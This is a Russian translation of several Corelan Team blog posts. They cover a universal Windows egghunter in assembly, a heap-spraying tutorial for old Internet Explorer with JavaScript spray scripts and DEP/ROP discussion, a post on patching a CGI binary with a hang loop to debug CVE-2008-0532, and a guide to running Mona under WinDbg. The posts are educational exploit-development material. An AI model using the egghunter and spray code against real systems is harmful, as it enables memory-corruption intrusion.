    jnz egg

stub:
    xor ebx, ebx
    push ebx
    push ebx
    push ebx
    push ebx
    mov bl, 0xc0

egg:
    or dx, 0x0fff
    inc edx
    push edx
    cmp bl, 0xc0
```

```
    je egg_64

egg_32:
    push 0x2
    pop eax
    int 0x2e
    pop edx

egg_end:
    cmp al, 0x5
    je egg
    mov eax, 0x74303077
    mov edi, edx
    scasd
    jnz egg + 5
    scasd
    jnz egg + 5
    jmp edi

egg_64:
    push 0x38
    pop eax
    xor ecx, ecx
    mov edx, esp
    call dword [fs:ebx]
    pop ecx
    pop edx
    jmp egg_end
|

egg = Metasm::Shellcode.assemble(Metasm::Ia32.new, egg_asm).encode_string
```

Размер универсальной версии составляет 67 байт. Она больше традиционного охотника, но всё равно меньше поэтапной полезной нагрузки.

DEP

Когда DEP включена, перед переходом к найденному шелл-коду его память необходимо сделать исполняемой с помощью `VirtualProtect`, `VirtualAlloc` или другой функции обхода DEP. Техника, описанная в статье Ropping eggs for breakfast, сохраняет указатель на функцию в регистре.

Этот охотник сохраняет EBP, поэтому в нём можно держать требуемый указатель на функцию.

Обновление для Windows 8

Эта статья была написана до выхода Windows 8. Начиная с Windows 8 охотник больше не работает, поскольку номера системных вызовов изменились по сравнению с Windows 7, а затем снова изменились в Windows 8.1. Можно добавить ещё одну заглушку выбора окружения, но это увеличит размер. Для современных систем предпочтительнее иной, более универсальный способ проверки памяти.

Возможности для улучшения

Охотник всегда можно сделать меньше, быстрее или надёжнее. Отзывы приветствуются.

-Lincoln

Учебник по написанию эксплойтов, часть 11: Heap Spraying без тайн

corelanc0d3r, 2011-12-31

Введение

Heap spraying заполняет значительную часть кучи процесса повторяющимися данными, контролируемыми атакующим. Если уязвимость повреждения памяти перенаправляет выполнение по предсказуемому адресу внутри этой повторяющейся области, зона приземления может привести выполнение к шелл-коду или ROP-цепочке.

В этой главе объясняется поведение выделения памяти, лежащее в основе классических sprays в браузерах, показано, как исследовать их в отладчике, а также рассмотрены последующие усовершенствования и защитные механизмы.

> Эти примеры относятся к версиям браузеров и операционных систем, актуальным на момент написания статьи. Это исторический исследовательский материал, а не универсальные схемы для современных браузеров.

Стек

Стек предсказуемо связан с вызовами функций, локальными переменными, сохранёнными регистрами и адресами возврата, однако его точный адрес может меняться между потоками и запусками процесса. Традиционные эксплойты стека часто используют регистр или трамплин вместо жёстко заданного адреса стека.

Куча

Куча обслуживает динамические выделения памяти, время жизни которых не ограничено одним кадром функции. Браузеры размещают строки, массивы, DOM-объекты, изображения и структуры движка сценариев в одной или нескольких кучах. На расположение контролируемых данных влияют размер выделения, метаданные, фрагментация, сборка мусора и детали реализации.

Heap spraying не требует предсказывать одно точное выделение. Он создаёт множество блоков сходной формы, благодаря чему полезные повторяющиеся данные занимают широкий диапазон адресов.

История

Классические браузерные эксплойты популяризировали heap spraying с помощью JavaScript в Internet Explorer. Ранние методы создавали большие строки из NOP-подобных слов и шелл-кода, а затем сохраняли множество копий в массиве, чтобы выделения оставались активными.

Принцип

Предположим, уязвимость позволяет загрузить контролируемое атакующим значение в `EIP`, но адрес настоящей полезной нагрузки неизвестен. Spray пытается создать следующую схему:

```
predictable region:
[landing pattern][landing pattern]...[shellcode][padding]
[landing pattern][landing pattern]...[shellcode][padding]
[landing pattern][landing pattern]...[shellcode][padding]
...
```

Если выполнение попадёт почти в любую точку достаточно длинной зоны приземления, оно в итоге достигнет полезной нагрузки.

Среда

В первых демонстрациях используются Windows XP SP3 с Internet Explorer 6 и 7, JavaScript и отладчик, например WinDbg или Immunity Debugger.

Выделение памяти под строки

Базовая процедура

Функция JavaScript `unescape` преобразует последовательности `%uXXXX` в кодовые единицы UTF-16. На x86 с порядком байтов little-endian `%u0c0c` помещает в память байты `0c 0c`.

```
<script>
var block = unescape("%u0c0c%u0c0c");
while (block.length < 0x40000) {
    block += block;
}
</script>
```

unescape()

Браузер хранит строки JavaScript как широкие символы. `%u4142` превращается в памяти в `42 41`, поэтому при кодировании шелл-кода и значений указателей необходимо учитывать порядок байтов.

Желаемая схема heap spray

Блок spray должен быть достаточно большим, чтобы поведение распределителя было предсказуемым, и содержать перед полезной нагрузкой просторную зону приземления.

Базовый сценарий

```
<script>
var shellcode = unescape("%u9090%u9090"); // demonstration payload
var nops = unescape("%u0c0c%u0c0c");

while (nops.length < 0x40000) {
    nops += nops;
}

var block = nops.substring(0, 0x40000 - shellcode.length);
block += shellcode;

var spray = [];
for (var i = 0; i < 200; i++) {
    spray[i] = block.substring(0);
}
</script>
```

Массив сохраняет ссылки, поэтому сборщик мусора не освобождает строки немедленно.

Визуализация heap spray в IE6

Загрузите страницу, остановите процесс после выделений памяти и исследуйте кучи процесса и память около часто выбираемого адреса приземления.

Просмотр spray в отладчике

Найдите шаблон приземления и исследуйте границы выделений:

```
s 00000000 L?7fffffff 0c 0c 0c 0c
```

Используйте команды работы с кучей, чтобы определить соответствующую кучу и метаданные выделения. Сравните полный размер блока распределителя с полезной длиной строки JavaScript.

Трассировка выделения строк с помощью WinDbg

Установите точки останова на соответствующих процедурах выделения и исследуйте запрошенные размеры, возвращённые указатели и содержимое строк. Во время конкатенации движок сценариев может создавать временные строки, а затем выделять итоговый блок и копировать в него данные.

Тестирование того же сценария в IE7

IE7 изменяет некоторые аспекты выделения, но в продемонстрированной среде XP классический сценарий по-прежнему создаёт узнаваемые крупные блоки. Проверяйте пользовательский размер и интервалы, не предполагая, что результаты IE6 переносятся без изменений.

Составляющие хорошего heap spray

Для полезного spray необходимы:

• Предсказуемый либо достаточно широкий диапазон адресов.
• Выделения, которые остаются активными.
• Шаблон приземления, безопасный при многократном выполнении.
• Правильное расположение полезной нагрузки и порядок байтов.
• Размеры выделений, выбранные с учётом метаданных кучи и представления строк в браузере.
• Достаточное количество блоков, чтобы покрыть вариации, не исчерпав память и не вызвав нестабильность.
• Отдельная обработка DEP и ASLR, когда она требуется.

Сборщик мусора

Временные строки могут исчезнуть, когда движок сценариев собирает недостижимые объекты. Храните итоговые блоки в глобальном массиве и следите, чтобы случайно не сохранить только представление подстроки, реализованное движком как ссылка на другой объект, а не как независимое выделение.

Сценарий heap spray

Часто используемый сценарий

```
var shellcode = unescape("%u9090%u9090...");
var heapBlock = unescape("%u0c0c%u0c0c");

var headerSize = 20;
var blockSize = 0x40000;

while (heapBlock.length < blockSize) {
    heapBlock += heapBlock;
}

var fill = heapBlock.substring(
    0,
    blockSize - shellcode.length - headerSize
```

```
);

var blocks = [];
for (var i = 0; i < 500; i++) {
    blocks[i] = fill + shellcode;
}
```

IE6, пользовательский размер 0x7ffe0

Количество символов в сценарии, количество байтов UTF-16, терминатор строки и накладные расходы распределителя вместе формируют наблюдаемый размер блока. Небольшие изменения могут пересечь границу корзины кучи и изменить размещение.

IE7, пользовательский размер 0x7ffe0

Тот же целевой пользовательский размер достижим, но проверяйте его в реальной сборке браузера. Изменения реализации кучи и движка JavaScript влияют на метаданные и поведение временных выделений.

Предсказуемый указатель

Эксплойт перезаписывает указатель кода, указатель vtable или поле объекта адресом, который, как ожидается, попадёт внутрь sprayed-диапазона. Указатель не должен содержать нулевые и другие запрещённые символы и должен попадать глубоко внутрь повторяющейся области, а не около границы блока.

Почему 0x0c0c0c0c?

Значение `0x0c` исторически удобно, поскольку повторяющиеся байты `0x0c` могут вести себя как приемлемая последовательность инструкций в соответствующих контекстах x86, адрес не содержит нулевых байтов, а `%u0c0c` позволяет легко создать широкую строку с этим шаблоном. Это соглашение, а не магия; пригодность зависит от режима выполнения эксплойта и компоновки цели.

Реализация spray в эксплойте

Принцип

1. Создайте большую строку приземления.
2. Добавьте полезную нагрузку или ROP-цепочку.
3. Выделите множество копий и сохраните ссылки на них.
4. Активируйте уязвимость.
5. Перезапишите целевой указатель адресом из sprayed-области.

Упражнение

В учебнике триггер повреждения памяти в браузере объединяется со spray, а перезаписанный указатель и расположение полезной нагрузки проверяются независимо до разрешения выполнения.

Структура полезной нагрузки

```
[repeated landing words]
[optional stack alignment]
[optional ROP chain]
[shellcode]
[padding to desired allocation size]
```

Создание полезной нагрузки

Кодируйте шелл-код с учётом строкового представления браузера и исключайте байты, изменяемые уязвимым путём. Проверяйте декодированные байты в памяти, а не полагайтесь только на вывод генератора.

Варианты

Полезную нагрузку можно разместить около начала, середины или конца каждого блока. Более длинная зона приземления повышает допустимое отклонение, тогда как повторные копии полезной нагрузки могут увеличить расход памяти и изменить поведение выделения.

DEP

При DEP sprayed-область не является исполняемой. Добавьте перед полезной нагрузкой ROP-цепочку, которая вызывает `VirtualProtect`, `VirtualAlloc` либо копирует полезную нагрузку в исполняемую память. Перезаписанный указатель сначала должен привести к исполняемым гаджетам.

Проверка надёжности spray

Повторяйте тест в новых процессах браузера, после перезагрузок страницы, при разной истории кучи и во всех поддерживаемых версиях. Записывайте выбранный адрес, фактические границы блоков и долю запусков, в которых адрес попадает в контролируемые данные.

Альтернативный сценарий heap spray

Альтернативный сценарий использует контролируемые размеры подстрок и выделения, предназначенные для сокращения числа временных объектов и получения более стабильного пользовательского размера.

Совместимость браузеров и сценариев

Разные выпуски Internet Explorer используют разные движки JavaScript, поведение распределителя, защитные механизмы кучи и сборщики мусора. Сценарий, создающий идеальные блоки в IE6, в IE8 или IE9 может иначе фрагментировать, объединять или рандомизировать память.

Когда имеет смысл 0x0c0c0c0c?

Используйте его, только если контролируемый указатель может надёжно достигнуть этого диапазона адресов, а повторяющиеся байты `0x0c` безопасны в контексте выполнения. Во многих эксплойтах уместнее другой адрес, последовательность выравнивания, поддельный объект или ROP-ориентированная компоновка.

Альтернативные способы spray кучи браузера

Изображения

Декодеры изображений выделяют буферы на основе размеров и формата пикселей. Многократная загрузка специально подготовленных или созданных изображений может разместить контролируемые байты пикселей в выделениях кучи, не полагаясь исключительно на строки JavaScript.

Bitmap spraying с помощью Metasploit

Metasploit может создавать bitmap-ресурсы с выбранным повторяющимся шаблоном и компоновкой полезной нагрузки. Проверяйте декодированную память, поскольку кодирование файла, заполнение строк, преобразование цветов и декодирование браузером могут изменять байты.

Heap spraying вне браузера

JavaScript в Adobe PDF Reader

JavaScript в PDF предоставляет выделения строк и объектов, концептуально сходные с браузерными сценариями. Размер блоков и предсказуемость определяются поведением конкретной версии Reader.

ActionScript в Adobe Flash

Массивы, векторы, строки и байтовые массивы ActionScript позволяют создавать контролируемое содержимое кучи. Необходимо моделировать заголовки их объектов и сборку мусора.

Spraying с помощью VBA в Microsoft Office

VBA может выделять повторяющиеся строки или массивы в процессах Office. Конкретная куча и представление отличаются от JavaScript в браузере.

Heap Feng Shui и HeapLib

Heap Feng Shui формирует состояние распределителя с помощью тщательно упорядоченных выделений и освобождений. HeapLib предоставляет оболочку над этими операциями для эксплойтов Internet Explorer, помогая создавать свободные области, занимать выбранные корзины и предсказуемее размещать объекты.

Проблема IE8

IE8 вносит изменения в распределитель и браузер, снижающие надёжность старых монолитных sprays строк. Манипуляции в стиле HeapLib позволяют лучше контролировать кучу, подготавливая её вокруг уязвимого объекта.

Тестирование HeapLib в XP SP3 с IE8

Создайте контролируемые выделения, освободите выбранные блоки, вызовите целевое выделение и проверьте, заняло ли оно нужные свободные области. Надёжность необходимо измерять в чистых процессах и при реалистичной активности страницы.

Системы с ASLR

Heap spraying не обходит ASLR автоматически. Он может повысить вероятность того, что широкий диапазон кучи содержит контролируемые данные, однако базовые адреса куч, порядок выделений и защитные механизмы браузера всё ещё могут меняться. Комбинированным эксплойтам часто требуется утечка информации или отдельная стратегия определения адреса модуля для ROP-гаджетов.

Точный heap spraying

Зачем нужна точность

Некоторые уязвимости разыменовывают указатель по фиксированному смещению внутри поддельного объекта, а не передают выполнение непосредственно в широкую зону приземления. Spray должен разместить конкретную vtable, поле объекта, длину или элемент ROP по точному смещению в каждом выделении.

Смещение заполнения

Рассчитайте взаимосвязь между выбранным предсказуемым указателем, заголовком распределителя, данными строки JavaScript и целевым полем. Добавьте детерминированное заполнение, чтобы нужная структура появлялась по этому адресу с учётом интервала выделений.

Поддельная vtable и указатели функций

Поместите поддельный объект по предсказуемому адресу. Его первое двойное слово может указывать на поддельную vtable в другом месте того же sprayed-блока, выбранный слот которой указывает на первый ROP-гаджет.

От EIP к ROP в куче

При DEP поддельный указатель функции должен вести к исполняемому коду. Sprayed-блок содержит стек данных ROP и шелл-код, а гаджет перемещает `ESP` в эту цепочку.

Размеры блоков

Выбирайте размер блока с учётом корзин распределителя, метаданных, длины полезной нагрузки и целевого выравнивания. Изменение JavaScript на один символ меняет размер на два байта и может перевести пользовательский размер в другой класс.

Точный spraying с помощью изображений

Строки пикселей и размеры изображения можно подобрать так, чтобы после декодирования поддельные структуры повторялись по известным смещениям. Учитывайте шаг строки и преобразование формата.

Защита от heap spraying

Nozzle и BuBBle

Исследовательские инструменты Nozzle и BuBBle выявляют подозрительное содержимое кучи, крупные области, похожие на исполняемый код, либо повторяющиеся шаблоны указателей и инструкций. Они показывают, что обнаружение spray может анализировать семантику, а не только объём выделений.

EMET

EMET представил защитные механизмы, делающие распространённые адреса spray недоступными или защищёнными, что вынуждает эксплойты отказываться от традиционных зон приземления.

HeapLocker

HeapLocker аналогичным образом резервирует или отслеживает часто используемые во вредоносных целях адреса и шаблоны, снижая полезность универсальных жёстко заданных целей spray.

Heap spraying в Internet Explorer 9

IE9 меняет поведение выделения и добавляет рандомизацию. Spray должен использовать подходящие типы и размеры объектов, после чего полученное распределение блоков следует проверить экспериментально.

Усиленная рандомизация

Более случайное размещение снижает ценность одного фиксированного указателя. Возрастает важность точных sprays, большего покрытия, манипуляций с конкретными объектами и раскрытия информации.

Heap spraying в Firefox 9.0.1

Firefox использует другую модель движка JavaScript и распределителя. Для типизированных массивов, строк и объектов требуются размеры и способы сохранения, специфичные для Firefox. Не переносите константы Internet Explorer без изменений.

Heap spraying в IE10 и Windows 8

IE10 и Windows 8 вводят дополнительные защитные механизмы кучи и браузера. Продемонстрированный spray создаёт контролируемые выделения, однако для эксплуатации также необходима совместимая с защитами стратегия ROP.

Обход защиты от ROP

Надёжность современных эксплойтов всё больше зависит от раскрытия информации, точной компоновки объектов и цепочек, построенных из раскрытых рандомизированных модулей. Одного широкого spray уже недостаточно для полной стратегии.

Заключительные замечания

Heap spraying — это проектирование выделений памяти. Надёжный spray строится на понимании представления строк, запрошенных и полезных размеров, метаданных распределителя, сборки мусора, версии браузера, семантики целевого указателя, DEP и ASLR. Источником истины служит отладчик, а не знакомая константа вроде `0x0c0c0c0c`.

Занимательная отладка — усыпляем процесс с помощью sleep()

Corelan Team (Lincoln), 2012-02-29

Введение и описание проблемы

Недавно я экспериментировал со старой уязвимостью CVE-2008-0532, обнаруженной FX, и столкнулся с трудностями при отладке исполняемого файла CGI, содержащего уязвимую функцию.

Проблема заключается в следующем: исполняемый файл CGI `CSUserCGI.exe` является дочерним процессом IIS и запускается только по запросу пользователя. После выполнения задачи сценарий быстро завершается — прежде чем мы успеваем присоединить отладчик. Как же его отлаживать? Поможет ли настройка отладчика для JIT, то есть отладки «точно вовремя»?

Давайте проверим.

При вызове сценария CGI через HTTP видно, как он очень быстро запускается и завершается.

Попытка № 1:

Не получилось! Так как же его отладить? Способ должен существовать.

Усыпляем процесс

В то время мой коллега по команде Corelan sinn3r завершил несколько модулей HP NNM, работая в схожих обстоятельствах. Идея заключалась в том, чтобы усыпить дочерний процесс до присоединения отладчика, вставив примерно такой код:

```
// (pseudo code):

while (IsDebuggerPresent == false) {
   sleep(1);
}

// Repair the prologue of the entry point you hijacked,
// and then jmp back to the entry point.
```

Звучит разумно — пора приступать к делу. Я открыл исполняемый файл в Immunity и выбрал подходящую функцию для перехвата (`0x00401010`). Мне хотелось пропустить часть первоначальных вызовов ядра и настройки окружения и сразу перейти в `main()`.

Затем требовалось найти в `.text` неиспользуемое исполняемым файлом место, изменение которого не повредит другие функции и не нарушит нормальную работу программы. План состоял в том, чтобы взять существующую инструкцию вызова — в данном случае `call 0x00401010` — и изменить её смещение, перенаправив вызов в область с нашей процедурой.

Я нашёл подходящее место по адресу `0x00415362`, поэтому вызов по адресу `0x00414CD6` нужно изменить так, чтобы он указывал туда.

Теперь нужно найти адреса `kernel32.Sleep` и `kernel32.IsDebuggerPresent`. Это локальный патч для моей системы, поэтому искать универсальные вызовы этих функций необязательно: достаточно посмотреть их адреса в Immunity в разделе имён исполняемого файла. В моей системе Windows 2003 SP2 это `0x77e424de` и `0x77e5da00`. На вашем компьютере они почти наверняка будут другими!

Пора вставить перехват функции. Для данного эксплойта возвращаться к инструкции после исходного, теперь изменённого вызова было необязательно, но я всё равно это сделал.

Сначала я изменил смещение вызова, направив его в пользовательскую процедуру, которую собирался разместить по адресу `0x00415362`:

```
00414CD6   E8 87060000      CALL CSUserCG.00415362 ; jmp to custom routine
```

А по адресу `0x00415362` разместил саму процедуру:

```
00415362   6A 01            PUSH 1
00415364   E8 75D1A277      CALL kernel32.Sleep
00415369   E8 9286A477      CALL kernel32.IsDebuggerPresent
0041536E   83F8 01          CMP EAX,1
00415371  ^75 EF            JNZ SHORT CSuserCG.00415362
00415373   CC               INT3
00415374   83C4 04          ADD ESP,4
00415377   E8 94BCFEFF      CALL CSuserCG.00401010  ; go back
0041537C  ^E9 5AF9FFFF      JMP CSuserCG.00414CDB
```

Теперь в Immunity можно щёлкнуть правой кнопкой мыши и сохранить изменения под новым именем. Я назвал файл `NEWCSUserCGI.exe` и поместил его в каталог сценариев CGI (`C:\Inetpub\wwwroot\securecgi-bin`).

Затем я переименовал исходный исполняемый файл в `OLDCSUserCGI.exe`, а `NEWCSUserCGI.exe` — в `CSUserCGI.exe`, то есть вернул исходное имя файла.

На этот раз я запустил демонстрацию концепции через URL — и вот он, сценарий всё ещё работает!

Теперь посмотрим на переполнение буфера и проверим работу общедоступного кода демонстрации концепции. Из описания CVE-2008-0532 от FX видно, что длинная строка после `Logout+` приводит к переполнению буфера и позволяет управлять EIP.

Уязвимая функция является подпрограммой перехваченной нами функции (`0x00401010`). Сначала видно, как для аргумента Logout подготавливается фиксированный буфер размером `0x60`.

Вызывается `msvcrt.strtok`, которая ищет первую строку, заканчивающуюся символом `.`.

Затем строка копируется в стек, и в итоге возникает переполнение буфера.

Отлично! Это оказалось простым переполнением буфера стека, а окончательный код доступен здесь.

А можно это автоматизировать?

Я подумал, что это хорошая возможность написать сценарий для автоматизации процесса либо найти альтернативный подход. Перед уходом с работы я рассказал о своей идее коллегам и поехал домой, предвкушая эксперименты на выходных. Но, видимо, у меня случился провал в памяти: я

забыл, что у corelanc0d3r за плечами более 5000 строк мастерства Python в Immunity — помните mona.py? Он закончил всё ещё до того, как я добрался домой! Все заслуги здесь принадлежат ему.

Ниже приведён его автоматический сценарий, который удерживает приложение в ожидании до присоединения отладчика, не вызывая при этом ни одного API `kernel32`.

```
# binary patcher
# will inject routine to make the binary hang
# so you can attach to it with a debugger
#
# corelanc0d3r
# (c) 2012 - www.corelan.be

import sys, pefile, os, binascii

def patch_file(binaryfile):

    routine = "\x33\xc0"        # xor eax,eax
    routine += "\x83\xF8\x00"  # cmp eax,0
    routine += "\x74\xFB"       # JE back to cmp

    print "[+] Opening file %s" % binaryfile
    pe = pefile.PE(binaryfile)

    entrypoint = pe.OPTIONAL_HEADER.AddressOfEntryPoint
    base = pe.OPTIONAL_HEADER.ImageBase
    print " - Original Entrypoint : 0x%x" % (base + entrypoint)

    searchend = 0
    startrva = 0
    for section in pe.sections:
        if section.Name.replace('\x00', '') == '.text':
            # code segment
            print " - Finding a good spot in code segment at 0x%x" % (base + section.VirtualAddress)
            print " Size : 0x%x" % section.SizeOfRawData
            searchend = section.SizeOfRawData
            startrva = section.VirtualAddress

    if searchend > 0:
        cnt = 0
        consecutive = 0
        stopnow = False
        offsethere = 0
        while cnt < searchend and not stopnow:
            thisbyte = pe.get_dword_at_rva(startrva + cnt)
            if thisbyte == 0:
                if offsethere == 0:
                    offsethere = startrva + cnt
                consecutive += 1
            else:
                offsethere = 0
                consecutive = 0
            if consecutive >= len(routine) + 5:
                stopnow = True
            cnt = cnt + 1

        print " - Found %d consecutive null bytes at offset 0x%x" % (consecutive, offsethere)
        print " Distance from original entrypoint : %x bytes" % (offsethere - entrypoint)
        jmpback = "%x" % (4294967295 - (offsethere - entrypoint + 4 + len(routine)))
        print " Jmpback : 0x%s" % jmpback
        routine += "\xe8"
        routine += binascii.a2b_hex(jmpback[6:8])
        routine += binascii.a2b_hex(jmpback[4:6])
        routine += binascii.a2b_hex(jmpback[2:4])
        routine += binascii.a2b_hex(jmpback[0:2])
        print " - Injecting hang + redirect (%d bytes) at 0x%x" % (len(routine), (base + offsethere))
        pe.set_bytes_at_rva(offsethere, routine)
        print " - Setting new EntryPoint to 0x%x" % (base + offsethere)
        pe.OPTIONAL_HEADER.AddressOfEntryPoint = offsethere
        entrypoint = pe.OPTIONAL_HEADER.AddressOfEntryPoint
```

```
        print " - Entrypoint now set to : 0x%x" % (base + entrypoint)

        print "[+] Saving file"
        pe.write(filename=binaryfile.replace(".exe", "") + "_patched.exe")
        print "[+] Patched."
    else:
        print "[-] No code segment found ?"

if len(sys.argv) == 2:
    target = sys.argv[1]
    if os.path.exists(target):
        patch_file(target)
    else:
        print " ** Unable to find file '%s' **" % target
else:
    print "\nUsage : patchbinary.py filename\r\n"
```

corelanc0d3r воспользовался модулем Python pefile, который позволяет читать и обрабатывать файлы PE (Portable Executable). К сведению: этот модуль по умолчанию установлен в BackTrack и Immunity Debugger.

Сценарий загружает исполняемый файл и получает исходную точку входа модуля.

Затем он ищет место в файле с 12 последовательными нулевыми байтами. При необходимости вместо них можно искать, например, NOP.

В найденное место помещается пользовательская процедура. Она обнуляет EAX, сравнивает его с нулём и при истинном условии возвращается к инструкции сравнения. По сути, получается цикл, который продолжается до присоединения отладчика. После условного перехода, обеспечивающего цикл, размещается вызов исходной точки входа. Наконец, RVA точки входа в PE-файле изменяется так, чтобы указывать на пользовательскую процедуру.

Иными словами, при запуске исполняемый файл просто зависает в бесконечном цикле. При присоединении отладчика процесс приостанавливается. После этого нужно найти место вставки пользовательской ассемблерной процедуры — фактически адрес сразу после обновлённой точки входа — и либо заменить инструкцию `cmp` на NOP, либо изменить `cmp eax,0` на `cmp eax,1`. После продолжения процесс начнёт выполнять свою обычную работу. Можно также позволить приложению выполняться, а затем приостановить его: оно остановится на инструкции `cmp` или переходе внутри пользовательской процедуры.

Запустим сценарий из `cmd.exe` и посмотрим, как всё работает автоматически.

Обнаружив и использовав безопасное место для цикла, сценарий сохранит новый файл, добавив к его имени `_patched.exe`.

После запуска видно, что он работает так же, как мой ручной патч.

Теперь можно переименовать изменённый файл, снова запустить демонстрацию концепции, присоединить отладчик и нажать «пауза», чтобы остановить цикл. После выхода из цикла выполнится вызов исходной точки входа.

Отлично! Похоже, всё работает правильно. На этом всё: это небольшая статья о возникшей у меня проблеме и её решении. Учтите, что с упакованными или закодированными исполняемыми файлами эта техника, скорее всего, не сработает.

WinDbg?

Разумеется, то же самое можно сделать и в других отладчиках. Основная процедура не изменится; нужно лишь знать, как отредактировать инструкцию в памяти, чтобы выйти из цикла.

Допустим, вы хотите заменить инструкцию `CMP` на `CMP EAX,1`. Для этого нужно изменить один байт в памяти — в данном случае байт по адресу `0x00415337`.

Присоединив отладчик и приостановив процесс, просто выполните следующую команду:

```
eb 0x00415337 0x01
```

`eb` означает редактирование байта. Другие команды WinDbg для редактирования: `ew` — редактирование слова и `ed` — редактирование двойного слова.

После изменения нажмите F5 или введите `g`, чтобы процесс вышел из цикла и вернулся к исходной точке входа.

Обновление от 1 марта 2012 года

Как подсказали несколько человек в Twitter, в качестве процедуры патча можно использовать и `\xeb\xfe`, которая просто переходит сама на себя. Благодарю @fdfalcon и @pa_kt за полезные отзывы!

Звенят BOF, звенят ROP — эксплуатируем всё подряд с Mona v2!

corelanc0d3r, 2012-12-31

Хо-хо-хо, друзья!

Мы давно ничего не публиковали в блоге Corelan Team: все были заняты различными проектами. Год почти завершён, поэтому сейчас самое время придумать убедительные новогодние обещания и выбрать бесполезную привычку, от которой мы торжественно пообещаем отказаться в 2013 году.

В этом году я много путешествовал, и моя семья будет рада видеть меня дома в ближайшие десять дней. Те, кто меня знает, понимают: это также означает, что у меня появится время вернуться к старым и новым проектам и заняться исследованиями.

Список желаний

Я давно хотел запускать `mona.py` непосредственно из WinDbg. Если не считать мира во всём мире и справедливости для всех, это, пожалуй, следующий по значимости подарок человечеству. Ладно, возможно, это не настолько важно, но разве не было бы полезно делать вот так?

Мне нравятся интерфейсы OllyDbg и Immunity, но для некоторых задач и ошибок я также использую WinDbg. В отдельных сценариях он быстрее и надёжнее.

Около двух недель назад, добавляя новую функциональность в Mona, я не смог найти способ удалить из скрипта все breakpoints. Я спросил об этом в Twitter и сразу получил несколько ответов, в том числе от `@jduck1337`:

Я ответил:

Затем комментарий оставил `@WanderingGlitch`:

Возник вопрос: может ли Mona работать в WinDbg? Для этого нужен способ выполнять Python внутри WinDbg и замена `immlib` — библиотеки, предоставляемой Immunity Debugger.

PyKD

Поиск привёл меня к PyKD — расширению WinDbg с открытым исходным кодом, предназначенному для автоматизации отладки и анализа crash dump с помощью Python. Оно может работать как Python-модуль в обычном скрипте или как расширение WinDbg, позволяющее Python управлять отладчиком.

API PyKD выглядел многообещающе, хотя в нём отсутствовала часть функциональности, необходимой Mona. Я связался с разработчиками и спросил, готовы ли они добавить нужные возможности, пока я переношу необходимое поведение `immlib` в обёртку над PyKD.

Я не ожидал активной реакции, но уже через пять минут получил полный энтузиазма ответ. Я начал переносить логику, обмениваться письмами и тестировать новые сборки и функции PyKD. Скорость реакции и поддержка разработчика PyKD оказались исключительными.

Mona 2

Corelan Team с радостью представляет Mona v2, работающую как в Immunity Debugger, так и в WinDbg: один плагин для двух отладчиков. Внимательные пользователи могли заметить изменения в предыдущие недели, а Mona уже появилась в статье Metasploit о 0day-уязвимости Internet Explorer в конце 2012 года.

Видео о выпуске доступно на YouTube.

В Immunity Debugger последнюю версию можно получить командой `!mona update` или загрузить из репозитория проекта Mona. В WinDbg используется тот же файл `mona.py`, однако для подготовки среды необходимо выполнить четыре шага:

1. Установить WinDbg.
2. Установить Python.
3. Установить PyKD.
4. Установить `windbglib.py` и `mona.py`.

WinDbg

Современные версии WinDbg входят в Windows Software Development Kit или Windows Driver Kit. В установщике SDK или WDK выберите компонент **Debugging Tools**. Для старой версии, которая всё ещё работает в Windows XP, используйте пакет Windows 7 Debugging Tools с WinDbg 6.2.

Используйте 32-разрядный WinDbg. В Windows 7 или 8 он обычно расположен в одном из следующих каталогов:

```
C:\Program Files\Windows Kits\8.0\Debuggers\x86
C:\Program Files (x86)\Windows Kits\8.0\Debuggers\x86
```

Python и PyKD для WinDbg

Для Mona под WinDbg требуется Python 2.7. Immunity Debugger 1.8x обычно устанавливает необходимую среду выполнения. В противном случае установите Python 2.7 отдельно. Я рекомендую дистрибутив из комплекта Immunity, поскольку именно в этой среде велась разработка.

WinDbg выполняет Python через расширение PyKD. Загрузите совместимый пакет версии 0.2.x, а именно `pykd-0.2.0.11-python.2.7.zip`. В его папке x86 находятся:

- `pykd.pyd`
- `vcredist_x86.exe`

Скопируйте `pykd.pyd` в подкаталог `winext` каталога установки WinDbg:

Запустите `vcredist_x86.exe`, чтобы установить среду выполнения Visual Studio 2008. Найдите `msdia90.dll`, которая обычно находится в `C:\Program Files\Common Files\Microsoft Shared\VC`, и зарегистрируйте её с помощью `regsvr32`:

Если Mona выводит следующую ошибку символов, регистрация `msdia90.dll` должна её устранить:

```
    File "C:\Program Files\Windows Kits\8.0\Debuggers\x86\windbglib.py", line 53, in getPEBInfo
      return typedVar("ntdll!_PEB", getCurrentProcess())
SymbolException: failed to load symbol file
```

Совместимый архив PyKD также размещался в репозитории windbglib.

windbglib.py

PyKD позволяет WinDbg выполнять Python, но Mona по-прежнему требуется соответствующее поведение `immlib`. Я перенёс необходимые Mona методы в `windbglib.py`. Это не полная реализация «один к одному», однако функциональность можно расширять, и патчи приветствуются.

Загрузите windbglib и поместите `windbglib.py` и `mona.py` в каталог WinDbg:

Скрипт установки

Lincoln написал установочный скрипт, который загружает необходимые файлы, устанавливает зависимости и раскладывает всё по нужным местам. Python 2.7 и WinDbg должны быть установлены заранее. Запустите скрипт из командной строки с повышенными привилегиями:

```
C:\tmp>python install_windbglib.py
[+] Downloading PYKD zip file from Corelan, this may take a few moments (4mb)
[+] Unzipping download
[+] Download complete, downloading mona.py & windbglib.py from Corelan
[+] Installing VC redistributable
[+] Locating msdia90.dll in C:\
[+] Registering 'msdia90.dll' with system located in:
        [*] C:\Program Files\Common Files\Microsoft Shared\VC
[+] Locating windbg.exe in C:\
[+] Copy pykd.pyd & windbglib.py & mona.py into Windbg folder:
        [*] C:\Program Files\Debugging Tools for Windows (x86)
[+] Complete. Open Windbg and test
```

Скрипт доступен в проекте windbglib.

Символы WinDbg

Для некоторых функций PyKD необходима правильная настройка символов. В меню **File > Symbol File Path** укажите:

```
SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols
```

Локальный каталог можно изменить. Убедитесь, что в конце значения нет пробелов или переводов строк. Закройте WinDbg и сохраните workspace, когда появится запрос. Если путь символов пуст, Mona v2 попытается установить его автоматически.

Запуск Mona в WinDbg

В отличие от Immunity Debugger, перед выполнением команд WinDbg должен быть подключён к процессу. В каждом новом экземпляре WinDbg один раз загрузите расширение PyKD:

```
.load pykd.pyd
```

При успешной загрузке расширения WinDbg ничего не выводит. Если переименовать файл в `pykd.dll`, его можно загрузить так:

```
.load pykd
```

Для автоматической загрузки создайте ярлык WinDbg с параметром `-c`:

```
windbg.exe -c ".load pykd.pyd"
```

PyKD предоставляет команду `!py` для запуска Python-скриптов. Запустите Mona:

```
!py mona
```

